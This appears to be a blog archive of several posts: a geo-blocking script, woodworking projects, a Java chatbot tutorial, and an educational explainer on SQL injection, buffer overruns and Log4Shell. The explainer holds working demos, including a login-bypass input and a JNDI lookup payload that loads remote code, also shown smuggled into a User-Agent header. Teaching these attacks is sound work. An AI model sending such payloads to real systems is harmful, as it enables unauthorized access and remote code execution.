There are a few ways to use IP-based location data to restrict who is allowed to visit a website. Most commercial or high-traffic sites sit behind some kind of a firewall, gateway or proxy, and most of these can automatically block traffic using location-based rules. This is actually pretty common, in particular to protect against countries (you know who you are) that tend to be havens for bad actors. Cloud providers like Azure and AWS are making this kind of protection more and more accessible, which is a great thing.

Another approach is to implement blocking at the application level, which is what I’ve done with RuBy. In theory this is super-simple, but there are some interesting quirks of the IP addressing landscape that make it worth some explanation.

But first a quick side note — there are no new ideas, and it turns out that I’m not the only person to have come up with this one. The folks over at redirectrussia.org have a script as well — it’s a little more complicated than mine, and a bit smarter — e.g., they limit web service calls by doing a first check on the browser’s timezone setting. They also allow the site owner to redirect blocked clients to a site of their choosing, whereas I just slap a flag over the page and call game over. Whichever you pick, you’re doing a solid for the good guys.

RuBy as a Web Service

Using the web service is about as simple as it gets; just add that one-line script fragment anywhere on your page and you’re done. Under the covers, what happens is this:

  • The browser fetches some javascript from the URL at https://shutdownapps.duckdns.org:7076/ruby.js. Note the “defer” attribute on the tag; this instructs the browser to load the script asynchronously and delay execution until the rest of the page is loaded. This avoids any performance impact for pages using the script.
  • The web service examines the incoming IP address and compares it to a list of known address ranges coming from Russia and Belarus. If the IP is not in one of those ranges, an empty script is returned and the page renders / behaves normally.
  • If the IP is in one of those ranges, the returned script replaces the HTML of the page with a full-window rendering of the Ukrainian flag (complete with official colors #005BBB and #FFD500). I considered redirecting to another site, but preferred the vibe of fully dead-ending the page.

Most systems can pretty easily add script tags to template pages. For ShutdownHook it was a little harder because I was using a subscription plan at WordPress.com that doesn’t allow it. This isn’t a problem if you’re on the “business” plan (I chose to upgrade) or are hosting the WordPress software yourself or anywhere that allows plugins. After upgrading, I used the very nice “Insert Headers and Footers” plugin to insert the script tag into the HEAD section of my pages.

And really, that’s it. Done and done.

RuBy Under the Covers

The lookup code itself lives in RuBy.java. It depends on access to the IP2Location Lite “DB1” database; in particular the IPV6 / CSV version. Now, there are tons of ready-to-go libraries for working with this database, including for Java. I chose to implement my own because RuBy has very specific, simple requirements that lend themselves to a more space- and time-efficient implementation than a general-purpose library. A classic engineering tradeoff — are those benefits worth the costs of implementation and code ownership? In my case I think so, because I’m running the service for free and want to keep hardware costs to a minimum, but there are definitely arguments on both sides.

In a nutshell, RuBy is configured with a database file and a list of countries to block (specified as ISO-3166 alpha-2 codes). It makes a number of assumptions about the format of the data file (listed at the top of the source file), so be careful if you use another data source. Only matching ranges are loaded into an array sorted by the start of the range, and queries are handled by binary-searching into the array to find a potentially matching range and then checking its bounds. For Russia and Belarus, this ends up holding only about 18,000 records in memory, so resource use is pretty trivial.

IP addressing does get a little complicated though; converting text-based addresses to the integer values in the lookup array can be tricky.

Once upon a time we all used “v4” addresses, which you’ve surely seen and look like this: 127.0.0.1. Each of the four numbers are byte values from 0-255, so there are 8 * 4 = 32 bits available for a total of about 4.3 billion unique addresses. Converting these to a number is a simple matter that will look familiar to anyone who ever had to implement “atoi” in an interview setting:

a.b.c.d = (16777216 * a) + (65536 * b) + (256 * c) + d

Except, oops, it turns out that the Internet uses way more than 4.3 billion addresses. Back a few years ago this was the source of much hand-wringing and in fact the last IPv4 addresses were allocated to regional registries more than a decade ago. The long-term solution to the problem was to create “v6” addressing which uses 128 bits and can assign a unique address to a solid fraction of all the atoms that make up planet Earth. They’re pretty ugly (e.g., 2001:0db8:85a3:0000:0000:8a2e:0370:7334), but they do the trick.

Sadly though, change is hard, and IPv4 has stubbornly refused to die — only something like 20-40% of the traffic on the Internet is currently using IPv6. Mostly this is because somebody invented NAT (Network Address Translation) — a simple protocol that allows all of the dozens of network devices in your house or workplace to share a single public IP address. So at least for the foreseeable future, we’ll be living in a world where both versions are out in the wild.

To get the most coverage, we use the IP2Location database that includes both v4 and v6 addresses. All of the range values in this database are specified as v6 values, which we can manage because a v4 address can be converted to v6 just by adding “::FFFF:” to the front. This amounts to adding an offset of 281,470,681,743,360 to its natural value — you can see this and the other gyrations we do in the addressToBigInteger method (and for kicks its reverse in bigIntegerToAddress).

Spread the Word!

Technically, that’s about it — pretty simple at the end of the day. But getting everything lined up cleanly can be a bit of a hassle; I hope that between the service and the code I’ve made it a little easier.

Most importantly, I hope people actually use the code on their own websites. We really are at a critical moment in modern history — are we going to evolve into a global community able to face the big challenges, or will we slide back to 1850 and play pathetic imperialist games until we just extinguish ourselves? My generation hasn’t particularly distinguished itself yet in the face of this stuff, but I’m hopeful that this disaster is blatant enough that we’ll get it right. My call to action:

  • If you run a website, consider blocking pariah nations. You can do this with your firewall or gateway, with the RuBy or Redirect Russia scripts, or just roll your own. The only sites I hope we’ll leave open are the ones that might help citizens in these countries learn the truth about what is really happening.
  • Share this article with colleagues and friends on social media so they can do the same.
  • And even more key, (1) give to causes like MSF that provide humanitarian aid, and (2) make sure our representatives continue supporting Ukraine with lethal aid and punishing Russia/Belarus with increasing sanctions.

If I can help with any of this, just drop me a line and let me know.

Attribution: This site or product includes IP2Location LITE data available from https://lite.ip2location.com.

Three Logs, a Chainsaw, and the Scary Wheel of Death

A few weeks ago upon hauling another awesome log up off of the beach, I realized that there was in fact nowhere to put it. Every mostly-out-of-the-rain nook and cranny on our property was full up with logs and branches and stumps waiting to be made into, well, something cool. Time to use up some inventory.

I was in the mood to practice some large motor skills — rough-hewn, useful projects that embrace their loggy-ness. Of course that meant the chainsaw, but also a first go-around with the Scary Wheel of Death (SWOD). Advertised as “extremely sharp” and sold together with (I kid you not) a chainsaw attachment for an angle grinder, this thing means business. Amazingly cool but seriously dangerous. I would not get anywhere near it without my Kevlar gloves and leather apron and a bunch of face-related PPE. That said, it does its job and does it well.

Three projects — a footstool for the sun nook, a shallow washbasin for cleaning up sandy dog paws, and a “sidecar” add-on to the towel stand for holding sunscreen and such:

The biggest hassle about working with logs is the checks / cracks that show up as they dry out. I have varying degrees of patience waiting for this — the “gold standard” is to coat the endgrain with wax emulsion (to even out escaping moisture) and wait a year or more. There are quicker methods too (e.g., denatured alcohol or an oven), but at the end of the day logs are just perfectly constructed to split as they shrink. I usually just roll with it.

The Footstool

OK, so let’s look at the stool first. It was inspired by a bunch of Pinterest-pushed videos of barefoot old men smoking cigarettes while carving furniture with their chainsaws. Surely I can do that! So I sharpened up the Greenworks (such a great tool) and set to. The piece came from a nice long tree on the beach; of course I misjudged the angles and got the blade all bound up making the cut. Nothing like working to free a saw as the tide marches steadily towards your spot! Also I was really bad about drying this one. I thought I could get away with it because I was going to remove a bunch of material which should have reduced the internal stress (spoiler alert, it did not).

Step one was to cut a tic-tac-toe shape from the bottom up. I then could push the end of the blade directly in from the sides, freeing all but the corner pieces to make the legs. A bit of shaping and sanding and it was good to go — except for a big crack that developed next to one leg. Because the stool was going to have a cushion on top, this wasn’t a comfort issue; I just needed to keep it from continuing to grow. A perfect opportunity for my first attempt at a “bowtie” inset.

Bowties are really neat — a decorative way to add strength across checks. It’s one of those approaches that is elegant in both form and function — the shape looks nice, the angles are perfectly suited to hold strong tension without ripping through the wood, and it’s pretty straightforward to create. I particularly like it when folks use a series of them to make a “zipper” like they’ve done here. The basic process is:

  • Cut an appropriately-sized bowtie (I used the bandsaw). Be sure the sides are vertical, the piece is tall enough, and that the grain runs lengthwise!
  • Trace it onto the log and use a plunge router to rough out the inlay. You might have to do this in a few passes to get the right depth.
  • Clean up the edges with a sharp chisel.
  • Inset the bowtie with wood glue on all sides. Tap it in with something like a rubber mallet.
  • Use a hand planer and/or sander to even out the surface.
  • Cool tip: if you end up with small gaps around the inlay, spread a bit of wood glue along the edges and then sand with 120 grit paper while it’s wet. Dust from the sanding mixes with the glue and gets pushed into the gap — ends up color-matching perfectly!

A little citrus paste wax, and an 11” chair pad affixed with Velcro tape and this one was in the bag. Woot!

The Washbasin

Next up the washbasin, and the first go-around with the SWOD. This big guy washed up in front of the house almost ready to go — just needed to cut it in half to get the right height (the other half is still waiting for a project). I wanted stubby legs this time, so instead of plunge-cutting with the saw I just used the router to remove about an inch all around. LOTS of sawdust in this step!

For the basin, I basically wanted to hollow it out to about a 3” depth and then curve the bottom towards a drain in the middle. Hollowing out wood from the end-grain is a HUGE pain — I am still on the hunt for a technique that I really like. What ended up working the best in this case was:

  • Use the router to get down about an inch or so.
  • Put a 1-3/8” Forstner bit onto the impact drill and just drill a million holes to about three inches. Hello my old friend repetitive stress.
  • Chisel out the leftovers between the holes.
  • Use the SWOD to clean it up and carve in the bowl shape at the bottom.
  • Use the same bit to drill through the bottom center to make the drain.

This was all pretty messy, especially at the edges. But it worked! To make the bowl waterproof, I coated the inside with a few rounds of tabletop epoxy. This not only will keep moisture out of the wood, but closed up two huge and one smaller cracks that had developed. I added a few braces underneath the bowl to reinforce this, because believe it or not I’ve had ongoing shrinkage rip solid epoxy apart like it was nothing. Crazy.

Spar varnish on the rest of the piece should keep it pretty weatherproof. Added a rubber stopper, and that’s another project done and dusted.

The Sidecar

Last up, a piece to sit next to the back door holding sunscreen and other important goo. Proving once again that good behavior is overrated, I actually waxed this log and let it dry for seven months and it still cracked on me. But I’m not bitter, really.

First job on this one was to carve out the side so that it would snuggle up to the larger towel holder already in place by the door. Connor got me this super cool set of contour gauges that was perfect for the task (similar to this one). They work kind of like those old “pin art” toys — little plastic fingers contour to an irregular shape so it’s easy to cut a piece that will mate perfectly. Once again I roughed out the cut with the chainsaw, and then used the SWOD for the finer shaping and smoothing. No lie, that thing is just wicked fun to work with.

Then back to the grind hollowing out the storage area. Much too small for most of my tools, this one was again a bunch of Forstner bit drilling and chisel work. I was able to get the oscillating tool in there for some of it, but mostly it was just elbow grease and time. Luckily I could leave the bottom ugly and uneven because I poured in an opaque, self-leveling epoxy layer to make a solid bottom anyways (beautiful mahogany-colored mica pigment, the same as the top of the towel stand).

The epoxy also covered up bracing I added to keep the crack from widening. I inset two additional braces on the inside curve; we’ll see how that works. Don’t love the treatment there but it is hidden most of the time, so I guess that’s ok. A few coats of tung oil and a felt pad on the bottom — three for three!

A bunch of useful stuff for the beach house, and even better, freed up a little space to store new treasures. Time to get back on the hunt!

You got your code in my data, or, how hacks work.

Once upon a time, hacking was easy and cheap entertainment, and we did it all the time:

  • Microsoft’s web server used to just pass URLs through to the file system, so often you could just add “::$DATA” to the end of a URL and read source code.
  • Web server directory browsing was usually enabled, making it super-easy to troll around for config files, backups or other goodies.
  • SQL injection bugs (more on this later) were rampant.
  • A shocking number of servers exposed unsecured pages like /env.php and /test.php.
  • …and many more.

The arms race has spiraled higher and higher since those simple happy days. Today, truly novel technical hacks are pretty rare, but the double-threat of social engineering (phishing, etc.) and sloppy patch management (servers left running with known vulnerabilities) is as common as ever, and so the dance goes on. As I understand it, most of the successful attacks currently being executed by Anonymous against Russia (and frankly bully for that good work) are just old scripts running against poorly-maintained servers. It’s more about saturating the attack space than finding new vulnerabilities.

But per the usual, it’s the technical side that I find endlessly fascinating. And since there’s a pretty big gap between what gets reported on the news (“The Log4j security flaw could impact the entire internet”) and in the security forums (“Apache Log4j2 2.0-beta9 through 2.15.0 excluding security releases 2.12.2, 2.12.3, and 2.3.1 – JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints”), I thought it’d be fun to try to help normal humans understand what’s going on.

Most non-social hacks involve an attacker entering data into a system (using input fields, URLs, etc.) that ends up being executed as code inside that system. Once it’s inside a trusted process, code can do pretty much anything — read and write files, update the environment, make network calls, all kinds of bad stuff. There are approaches to limit the damage, but in most cases it’s Game Over.

Folks trying to hack a particular system will first try to understand the attack surface — that is, all of the ways users can provide input to the system. These can be totally legitimate channels, like a login form on a web site; or accidental ones, like administrative network ports exposed to the public network. Armed with this inventory, hackers attempt to craft data values that allow them to inject and execute code inside the process.

I’m going to dig into three versions of that pattern: SQL Injections, stack-based buffer overruns, and the current bugaboo Log4Shell. There’s a lot here and it’s definitely too long, but I was having too much fun to stop. That said, each of the sections stands alone, so if you have a favorite exploit feel free to jump around!

Note: I am providing real code for two of these; you can totally run it yourself and I hope you will. And before you freak out — nothing I am sharing is remotely novel to the Bad Guys out there. I may have lost some of my Libertarian leanings over the past few years, but I still believe that trying to protect people by hiding facts or knowledge never, ever, ever turns out well in the end. It just cedes power to the wrong side.

1. The Easy One (SQL Injection)

Most of the websites you use every day store their information in databases, or more specifically structured databases that are accessed using a language called SQL. A SQL database keeps information in “tables” which are basically just Excel worksheets — two-dimensional grids in which each row represents an item and each column represents some feature of that item. For example, most systems will have a “users” table that keeps one row for every authorized user. Something like this:

Actually nobody really stores passwords like this unless they are monumentally stupid. And real databases typically contain a bunch of tables with complex relationships between them. But neither of these are important for our purposes here, so I’ve simplified a bit.

Anyways, “SQL” is the language used to add, update and retrieve data in these tables. To retrieve data, you construct a “select” command that specifies which columns and rows you wish to see. For example, if I want to find the email addresses of all administrators in the system, I might execute a command like this:

select email from users where is_admin = true;

Now let’s imagine we’re implementing a login page for a web site. We build an HTML form that has text boxes to enter “username” and “password,” and a “submit” button that sends them to our server. The server then constructs and runs a query such as the following:

select user from users where user = 'USERNAME' and pw = 'PASSWORD'

where USERNAME and PASSWORD represent the values provided by the user. If those values match a row in the database, that row will be returned, and we can grant the user access to the system. If not, zero rows will be returned, and we should instead return a “login failed” error message.

Most websites use something very much like this to manage access. It’s a classic situation in which data (the USERNAME and PASSWORD values) are mixed with code (the rest of the SQL query). As a hacker, is it possible for us to construct data that will change the behavior of the code around it? It turns out that the answer is absolutely yes, unless the developer has taken certain precautions. Let’s see how that works.

Sql.java uses “JDBC” and a (very nice) SQL database called “MySQL” to demonstrate an injection attack. On a system that has git, maven and a JDK installed, build this code as follows:

git clone https://github.com/seanno/shutdownhook.git
cd shutdownhook/hack
mvn clean package

Once built, it creates a table like the one above; you can simulate login attempts like this (using whatever values you like for the user and pass parameters at the end):

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad user2 pass2
Logged in as user: user2

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad user2 nope
Login failed.

The code that constructs the query is at line 47; a simple call to String.format() that inserts the provided username and password into a template SQL string:

String sql = String.format("select user from u where user = '%s' and pw = '%s'", user, password);

So far so good, but watch what happens if we use some slightly unusual parameters:

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlbad "user2' --" nope
Logged in as user: user2

Oh my. Even thought we provided an incorrect password, we were able to trick the system into logging us in as user2 (an administrator no less). To understand how this happened, you need to know that SQL commands can contain “comments.” Any characters following “--” in a line of SQL are simply ignored by the interpreter. So if you apply these new input values to the String.format() call, the result is:

select user from u where user = 'user2' -- and pw = 'nope'

Our carefully constructed data values terminate the first input string and then causes the rest of the command to be ignored as a comment. Since the command now asks for all rows where user = 'user2' without any reference to the password, the row is faithfully returned, and login is granted. Of course, a hack like this requires knowledge of the query in which the input values will be placed — but thanks to the use of common code and patterns across systems, that is rarely a significant barrier to success.

Fortunately, JDBC (like every SQL library) provides a way for us to prevent attacks like this. The alternate code at line 72 lets us breathe easy again (note we’re specifying sqlgood instead of sqlbad as the first parameter):

$ java -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar \
    com.shutdownhook.hack.App sqlgood "user2' --" passX
Login failed.

Whew! Instead of directly inserting the values into the command, this code uses a “parameterized statement” with placeholders that enable JDBC to construct the final query. These statements “escape” input values so that special characters like the single-quote and comment markers are not erroneously interpreted as code. Some people choose to implement this escaping behavior themselves, but trust me, you don’t want to play that game and get it wrong.

SQL injection was one of the first really “accessible” vulnerabilities — easy to perform and with a big potential payoff. And despite being super-easy to mitigate, it’s still one of the most common ways bad guys get into websites. Crazy.

2. The Grand-Daddy (Buffer Overrun)

In the early 2000s it seemed like every other day somebody found a new buffer overrun bug, usually in Windows or some other Microsoft product (this list isn’t all buffer exploits, but it does give you a sense of the magnitude of the problem). Was that because the code was just bad, or because Windows had such dominant market share that it was the juiciest target? Probably a bit of both. Anyways, at least to me, buffer overrun exploits are some of the most technically interesting hacks out there.

That said, there’s a lot of really grotty code behind them, and modern operating systems make them a lot harder to execute (a good thing). So instead of building a fully-running exploit in this section, I’m going to just talk us through it.

For the type of buffer overrun we’ll dig into, it’s important to understand how a “call stack” works. Programs are built out of “functions” which are small bits of code that each do a particular thing. Functions are given space to store their stuff (local variables) and can call other functions that help them accomplish their purpose. For example, a “stringCopy” function might call a “stringLength” function to figure out how many characters need to be moved. This chain of functions is managed using a data structure called a “call stack” and some magic pointers called “registers”. The stack when function1 is running looks something like this:

The red and green bits make up the “stack frame” for the currently-running function (i.e., function1). The RBP register (in x64 systems) always points to the current stack frame. The first thing in the frame (the red part) is a pointer to the frame for the previous function (not shown) that called function1. The other stuff in the frame (the green part) is where function1’s local variables are stored.

When function1 calls out to function2, a few things happen:

  1. The address of the next instruction in function1 is pushed onto the top of the stack (blue below). This is where execution will resume in function1 after function2 completes.
  2. The current value of RBP is pushed onto the top of the stack (red above blue below).
  3. The RBP register is set to point at this new location on the stack. This “chain” from RBP to RBP lets the system quickly restore things for function1 when function2 completes.
  4. The RSP register is set to point just beyond the amount of space required for function2’s local variables. This is just housekeeping so we know where to do this dance again in case function2 also makes function calls.
  5. Execution starts at the beginning of function2.

I left out some things there, like the way parameters are passed to functions, but it’s good enough. At this point our stack looks like this:

Now, let’s assume that function2 looks something like this (in C, because buffer overruns usually happen in languages like C that have fewer guard rails):

void function2(char *input) {
    char[10] buffer;
    strcpy(buffer, input);
    /* do something with buffer */
    return;
}

If the input string is less than 10 characters (9 + a terminating null), everything is fine. But what happens if input is longer than this? The strcpy function happily copies over characters until it finds the null terminator, so it will just keep on copying past the space allocated for buffer and destroy anything beyond that in the stack — writing over the saved RBP value, over the return address, maybe even into the local variables further down:

Typically a bug like this just crashes the program, because when function2 returns to its caller, the return address it uses (again in blue, now overwritten by yellow) is now garbage and almost certainly doesn’t point at legitimate code. Back in the good old days before hackers got creative, that was the end of it. A bummer, something to fix, but not a huge deal.

But it turns out that if you know a bug like this exists, you can (carefully) construct an input string that can do very bad things indeed. Your malicious input data must have two special properties:

First, it needs to contain “shellcode” — hacker jargon for a sequence of bytes that is actually code (more specifically, opcodes for the targeted platform) that does your dirty work. Shellcode needs to be pretty small, so usually it just “bootstraps” the real hack. For example, common shellcode downloads and runs a much larger code package from a well-known network server owned by the hacker. The really tricky thing about building shellcode is that it can’t contain any null bytes, because it has to be a valid C string. Most hackers just reuse shellcode that somebody else wrote, which honestly seems less than sporting.

Second, it needs to be constructed so that the bytes that overwrite the return address (blue) point to the shellcode. When function2 completes, the system will dutifully start executing the code pointed to by this location. Doing this was traditionally feasible because the bottom of the stack always starts at a fixed, known address. It follows that whenever function2 is called in a particular context, the value of RBP should be the same as well. So theoretically you could build a fixed input string that looks like the yellow here:

p0wnd! So now we’re hackers, right? Well, not quite. First, finding that fixed address is quite complicated — I won’t go any further down that rabbit hole except to say that whoever figured out noop sleds was brilliant. But much worse for our visions of world domination, today’s operating systems pick a random starting address for the stack each time a process runs, rendering all that work to figure out the magic address useless. For that matter, C compilers now are much better about adding code to detect overruns before they can do damage anyways, so we may not even have gotten that far. But still, pretty cool.

3. The Latest One (Log4Shell)

Last mile folks, I promise — and I hope you’re still with me, because this last hack is a fun one and it’s easy to run yourself. Tons and tons and tons of apps were vulnerable to Log4Shell when it burst onto the scene just a few months ago. This is kind of sad, because it means that we’re all running some pretty old code. But I guess that’s the way the world works, and why there is still a market for COBOL and FORTRAN developers.

It all starts with “logging.” Software systems can be pretty complicated, so it’s useful to have some kind of trail that helps you see what is (or was) happening inside them. There are a few ways of doing this, but the old standby is simply logging — adding code to the system that writes out status messages along the way. This is particularly useful when you’re trying to understand systems in production — e.g., when a user calls and says “I tried to upload a file this morning and it crashed,” reviewing the log history from the time when this happened might give you some insight into what really went wrong.

This seems pretty straightforward, and in fact the JDK natively supports a pretty serviceable set of logging APIs. But of course things never stay simple:

  • Adding logs has a performance impact, so we’d like a way to turn them on or off at runtime, both in terms of the severity of the message (e.g., the difference between very verbose debugging logs and critical error information) and where it comes from (e.g., you might want to turn on logs for just outbound HTTP messages).
  • It’d be nice to control where the log data is saved — a file, a database, a service like Sumo Logic (there is a whole industry around this), whatever.
  • Logs can get pretty big so some kind of rotation or archive strategy would be helpful.
  • The native stuff is slow in some cases, and configuration is unwieldy, and so on.
  • Developers just really like writing developer tools (me too).

A bunch of libraries sprung up to address these gaps — and especially with the advent of dependency-management tools like Maven, the Apache Log4j project quickly became basically ubiquitous in Java applications. As a rule I try to avoid dependencies, but there are some good reasons to accept this one. So it’s everywhere. Like, everywhere. And because it’s used so commonly and serves so many scenarios, Log4j has grown into quite a beast — most folks use a tiny fraction of its features. And that’s kind of fine, except when it’s not.

OK. This one is pretty satisfying to run yourself. First, clone and build the hack app I described in the SQL Injection section earlier. The app includes an old Log4j version that contains the vulnerability, and lets you play with various log messages like this (I’ll explain the trustURLCodebase thing in a bit):

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log 'yo dawg'
11:35:25.029 [main] ERROR com.shutdownhook.hack.Logs - yo dawg

The app uses the default Log4j configuration that adds a timestamp and some other metadata to the message and outputs to the console. Pretty simple so far. Now, one of those features in Log4j is the ability to add specially-formatted tokens in a message that include dynamic data in the output. So for example:

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log 'user = ${env:USER}, java = ${java:version}'
11:42:31.358 [main] ERROR com.shutdownhook.hack.Logs - user = sean, java = Java version 11.0.13

The first token there looks up the environment variable “USER” and inserts the value found (sean). The second one inserts the currently-running Java version. Kind of cool. There are a bunch of different lookup types, and you can add your own too.

If you’re guessing that the source of our hack might be in a lookup, you nailed it. The “JNDI” lookup dynamically loads objects by name from a local or remote directory service. This kind of thing is common in enterprise Java applications — serialized objects are pushed across network wires and reconstituted in other processes. There are a few flavors of how a JNDI lookup can work, but this one in particular works well for our hack:

  • The JDNI lookup references an object stored in a remote LDAP directory server.
  • The entry in LDAP indicates that the object is a “javaNamingReference;” that the class and factory name is “Attack;” and that the code for these objects can be found at a particular URL.
  • Log4j downloads the code from that URL, instantiates the factory object, calls its “getObjectReference” method, and calls “toString” on the returned object.
  • Boom! Because the code can be downloaded from any URL, if an attacker can trick you into logging a message of their choosing, they can quite easily bootstrap their way into your process. Their toString method can do basically anything it wants.

This is way more impressive when you see it in action. To do that, you’ll need an LDAP server to host the poisoned directory entry. The simplest way I’ve found to do this is by downloading the UnboundID LDAP SDK for Java, which comes with a command-line tool called in-memory-directory-server. Assuming you are still in the “hack” directory where you built the code for this article, this command will put you in business:

PATH_TO_UNBOUNDID_SDK/tools/in-memory-directory-server \
    --baseDN "o=JNDIHack" --port 1234 --ldifFile attack/attack.ldif

You also need an HTTP server hosting the Attack.class binary. In order to keep things simple, I’ve posted a version up on Azure and set javaCodeBase in attack.ldif to point there. Generally though, you shouldn’t be running binaries that are sitting randomly out on the net, even when they were put there by somebody as upstanding and trustworthy as myself. If you want to avoid that, just compile Attack.java with “javac Attack.java,” put the resulting class file up on any web server you control, and update line 13 in attack.ldif to point there instead.

With the attacker-controlled LDAP and HTTP servers running, execute the hack app with an embedded JNDI lookup in the message:

$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
    -cp target/hack-1.0-SNAPSHOT-jar-with-dependencies.jar com.shutdownhook.hack.App \
    log '${jndi:ldap://127.0.0.1:1234/cn%3dAttack%2cou%3dObjects%2co%3dJNDIHack}'
12:22:25.857 [main] ERROR com.shutdownhook.hack.Logs - nothing to see here

And now the kicker:

$ ls -l /tmp/L33T*
-rw------- 1 sean sean 0 Apr  7 12:22 /tmp/L33T-15518763719698030164-shutdownhook

Dang son, now that’s a hack. Simply by logging a completely legit data string, I can force any code from anywhere on the Internet to run in your JVM. The code that returned “nothing to see here” and created a file in your /tmp directory lives right here. Remember that the code runs with full privileges to the process and can do anything it wants. And unlike shellcode, it doesn’t even have to be clever. Yikes.

One caveat: we’re definitely cheating by setting the parameter com.sun.jndi.ldap.object.trustURLCodebase to true. For a long time now (specifically since version 8u191) Java has disabled this behavior by default. So folks running new versions of Java generally weren’t vulnerable to this exact version of the exploit. Unfortunately, it still works for locally sourced classes, and hackers were able to find some commonly-available code that they could trick into bad behavior too. The best description of this that I’ve seen is in the “Exploiting JNDI injections in JDK 1.8.0_191+” section of this article.

But wait a second, there’s one more problem. In my demonstration, we chose the string that gets logged! This doesn’t seem fair either — log messages are created by the application developer, not the end user, so how did the Bad Guys cause those poisoned logs to be sent to Log4j in the first place? This brings us right back to the overarching theme: most effective hacks come from code hiding in input data, and sometimes those input channels aren’t completely obvious.

For example, when your web browser makes a request to a web server, it silently includes a “header” value named “User-Agent” that identifies the browser type and version. Even today, many website bugs are caused by incompatibilities from browser to browser, so web servers almost always log this User-Agent value for debugging purposes. But anyone can make a web request, and they can set the User-Agent field to anything they like.

Smells like disaster for the Good Guys. If we send a User-Agent header like “MyBrowser ${jndi:ldap://127.0.0.1:1234/cn%3dAttack%2cou%3dObjects%2co%3dJNDIHack}”, that string will very very likely be logged, which will kick off the exact remote class loading issue we demonstrated before. And with just a little understanding of how web servers work, you can come up with a ton of other places that will land your poisoned message into logging output. Bummer dude.

And, scene.

That’s probably enough of this for now. Two takeaways:

  1. For the love of Pete — control your dependencies, have a patching strategy and hire a white hat company to do a penetration test of your network. Don’t think you’re too small to be a target; everyone is a target.
  2. There is just something incredibly compelling about a good hack — figuring out how to make a machine do something it wasn’t designed to do is, plain and simple, good fun. And it will make you a better engineer too. Just don’t give in to the dark side.

As always, feel free to ping me if you have any trouble with the code, find a bug or just have something interesting to say — would love to hear it. Until next time!

Ground-Up with the Bot Framework

It seems I can’t write about code these days without a warmup rant. So feel free to jump directly to the next section if you like. But where’s the fun in that?

My mixed (ok negative) feelings about “quickstarts” go back all the way to the invention of “Wizards” at Microsoft in the early 1990s. They serve a worthy goal, guiding users through a complex process to deliver value quickly. But even in those earliest days, it was clear that the reality was little more than a cheap dopamine hit, mostly good for demos and maybe helping show what’s possible. The problem comes down to two (IMNSHO) fatal flaws:

First, quickstarts abandon users deep in the jungle with a great SUV but no map or driver’s license. Their whole reason to exist is to avoid annoying details and optionality, but that means that the user has no understanding of the context in which the solution was created. How do you change it? What dependencies does it require? How does it fit into your environment? Does it log somewhere? Is it secured appropriately for production? How much will it cost to run? The end result is that people constantly put hacked-up versions of “Hello World” into production and pay for it later when they have no idea what is really going on.

Second, they make developers even lazier than they naturally are anyways. Rather than start with the basics, quickstarts skip most of the hard stuff and lock in decisions that any serious user will have to make for themselves. If this was the start of the documentation, that’d be fine — but it’s usually the end. Instead of more context, the user just gets dropped unceremoniously into auto-generated references that don’t provide any useful narrative. Even worse, existence of the quickstart becomes an excuse for a sloppy underlying interface design (whether that’s an API or menus and dialogs) — e.g., why worry about the steering wheel if people take the test-drive using autopilot?

Anyways, this is really just a long-winded way to say that the Bot Framework quickstart is pretty useless, especially if you’re using Java. Let’s do better, shall we?

What is the Bot Framework?

There are a bunch of SDKs and builders out there for creating chatbots. The Microsoft Bot Framework has been around for a while (launched out of Microsoft Research in 2016) and seems to have pretty significant mindshare. Actually the real momentum really seems to be with no-code or low-code options, which makes sense given how many bots are shallow marketing plays — but I’m jumping right into the SDK here because that’s way more fun, and it’s my blog.

The framework is basically a big normalizer. Your bot presents a standardized HTTPS interface, using the Bot Framework SDK to help manage the various structures and state. The Azure Bot Service acts as a hub, translating messages in and out of various channels (Teams, Slack, SMS, etc.) and presenting them to your interface. Honestly, that’s basically the whole thing. There are additional services to support language understanding and speech-to-text and stuff like that, but it’s all additive to the basic framework.

WumpusBot and RadioBot

I introduced WumpusBot in my last post … basically a chatbot that lets you play a version the classic 1970s game Hunt the Wumpus. The game logic is adapted from a simplified version online and lives in Wumpus.java, but I won’t spend much time on that. I’ve hooked WumpusBot up to Twillio SMS, so you can give it a try by texting “play” to 706-943-3865.

The project also contains RadioBot, a second chatbot that knows how to interact with the Shutdown Radio service I’ve talked about before. This one is hooked up to Microsoft Teams and includes some slightly fancier interactions — I’ll talk about that after we get a handle on the basics.

Build Housekeeping

All this is hosted in an Azure Function App — so let’s start there. The code is on github. You’ll need git, mvn and a JDK. Build like this:

git clone https://github.com/seanno/shutdownhook.git
cd shutdownhook/toolbox
mvn clean package install
cd ../radio/azure
mvn clean package

To run you’ll need two Cosmos Containers (details in Shutdown Radio on Azure, pay attention to the Managed Identity stuff) and a local.settings.json file with the keys COSMOS_ENDPOINT, COSMOS_ DATABASE, COSMOS_CONTAINER and COSMOS_CONTAINER_WUMPUS. You should then be able to run locally using “mvn azure-functions:run.”

Getting a little ahead of myself, but to deploy to Azure you’ll need to update the “functionAppName” setting in pom.xml; “mvn azure-functions:deploy” should work from there assuming you’re logged into the Azure CLI.

The Endpoint

Your bot needs to expose an HTTPS endpoint that receives JSON messages via POST. The Java SDK would really like you to use Spring Boot for this, but it 100% isn’t required. I’ve used a standard Azure Function for mine; that code lives in Functions.java. It really is this simple:

  1. Deserialize the JSON in the request body into an Activity object (line 68).
  2. Pull out the “authorization” header (careful of case-sensitivity) sent by the Bot Framework (line 71).
  3. Get an instance of your “bot” (line 52). This is the message handler and derives from ActivityHandler in WumpusBot.java.
  4. Get an instance of your “adapter.” This is basically the framework engine; we inherit ours from BotFrameworkHttpAdapter in Adapter.java.
  5. Pass all the stuff from steps 1, 2 and 3 to the processIncomingActivity method of your Adapter (line 74).
  6. Use the returned InvokeResponse object to send an HTTPS status and JSON body back down the wire.

